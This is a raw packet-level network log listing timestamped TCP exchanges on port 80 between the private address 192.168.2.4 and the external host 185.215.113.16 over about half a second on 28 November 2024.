Nov 28, 2024 13:09:54.873023033 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:54.873065948 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.875220060 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.875257015 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.875345945 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:54.877115965 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.877234936 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.877298117 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:54.879162073 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.879265070 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:54.879498005 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.881248951 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.881292105 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:54.881323099 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.883409977 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.883457899 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:54.883460999 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.885497093 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.885540009 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:54.885574102 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.887511969 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.887559891 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:54.887597084 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.889791012 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.889827013 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.889857054 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:54.891910076 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.891957998 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:54.891977072 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.893771887 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.893829107 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:54.893865108 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.895824909 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.895873070 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:54.895903111 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.897986889 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.898030043 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:54.898034096 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.900019884 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.900083065 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:54.900116920 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.902035952 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.902085066 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:54.902209044 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.904179096 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.904232979 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:54.904361963 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.906172991 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.906222105 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:54.994884014 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.995095968 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.995161057 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:54.995870113 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.995964050 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.996014118 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:54.997924089 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.998055935 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:54.998100042 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.000006914 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.000206947 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.000257015 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.002084970 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.002201080 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.002249956 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.014663935 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.014846087 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.014918089 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.015571117 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.015714884 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.015806913 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.017374039 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.017472029 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.019108057 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.019165039 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.019207001 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.020936966 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.020993948 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.021001101 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.021044016 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.022697926 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.022864103 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.022929907 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.024447918 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.024504900 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.024561882 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.026134968 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.026253939 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.026314020 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.027906895 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.027928114 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.027997017 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.029501915 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.029685974 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.029865980 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.031130075 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.031230927 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.031284094 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.032804012 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.032977104 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.033024073 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.034379959 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.034488916 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.034543991 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.036020994 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.036230087 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.036277056 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.037645102 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.037761927 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.037811041 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.039283037 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.039371014 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.039423943 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.040937901 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.041050911 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.041100979 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.042577982 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.042664051 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.042716980 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.044207096 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.044329882 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.044379950 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.045813084 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.045922995 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.045974970 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.047429085 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.047534943 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.047583103 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.049310923 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.049447060 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.049498081 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.050780058 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.050889015 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.050960064 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.052331924 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.052438021 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.052491903 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.054043055 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.054131031 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.054183006 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.055619001 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.055712938 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.055763960 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.057245970 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.057363033 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.057410955 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.058868885 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.059007883 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.059077978 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.060518980 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.060642004 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.060693979 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.062130928 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.062231064 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.062279940 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.063760996 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.063868046 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.063925028 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.065401077 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.065502882 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.065557003 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.067034960 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.067141056 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.067188978 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.068661928 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.068748951 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.068795919 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.070333958 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.070473909 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.070519924 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.071930885 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.072033882 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.072082996 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.073559046 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.073678017 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.073729992 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.075186968 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.075333118 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.075376987 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.076884031 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.077192068 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.077241898 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.078526020 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.078613997 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.078663111 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.080089092 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.080208063 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.080256939 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.081751108 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.081866026 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.081933975 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.083519936 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.083581924 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.083631039 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.085000992 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.085107088 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.085197926 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.086647987 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.086775064 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.086822033 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.088330030 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.088397980 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.088448048 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.089939117 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.143536091 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.187097073 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.187191010 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.187248945 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.187789917 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.187859058 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.187911987 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.189250946 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.189399958 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.189450026 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.190726042 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.190853119 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.190929890 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.192218065 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.192325115 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.192390919 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.193677902 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.193767071 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.193810940 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.195173979 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.195187092 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.195228100 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.206803083 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.206901073 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.206952095 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.207324982 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.207571030 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.207623005 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.207684040 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.209005117 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.209053993 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.209108114 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.210164070 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.210211992 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.210247993 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.211391926 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.211446047 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.211483955 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.212721109 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.212775946 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.212855101 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.213948011 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.214004040 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.214036942 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.215162992 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.215202093 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.215210915 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.216399908 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.216448069 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.216583967 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.217675924 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.217720032 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.217730045 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.218904018 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.218964100 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.219008923 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.220174074 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.220223904 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.220277071 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.221426010 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.221492052 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.221514940 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.222665071 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.222716093 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.222769022 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.223917961 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.223972082 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.224024057 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.225172997 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.225222111 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.225255013 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.226470947 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.226519108 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.226553917 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.227685928 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.227731943 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.228066921 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.228980064 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.229028940 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.229052067 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.230154991 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.230206966 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.230241060 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.231420040 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.231471062 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.231511116 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.232673883 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.232739925 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.232791901 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.233957052 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.234003067 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.234057903 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.235234022 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.235285997 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.235294104 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.236426115 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.236478090 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.236558914 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.237701893 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.237762928 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.237798929 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.239064932 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.239078999 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.239120007 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.240201950 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.240243912 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.240256071 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.241450071 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.241498947 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.241560936 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.242733955 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.242782116 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.242782116 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.243962049 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.244015932 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.244045019 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.245181084 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.245229006 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.245289087 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.246476889 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.246522903 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.246644020 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.247699976 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.247747898 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.247893095 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.248953104 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.249001026 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.249038935 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.250232935 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.250298023 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.250349998 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.251458883 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.251502991 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.251507044 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.252818108 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.252855062 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.252901077 CET	49745	80	192.168.2.4	185.215.113.16
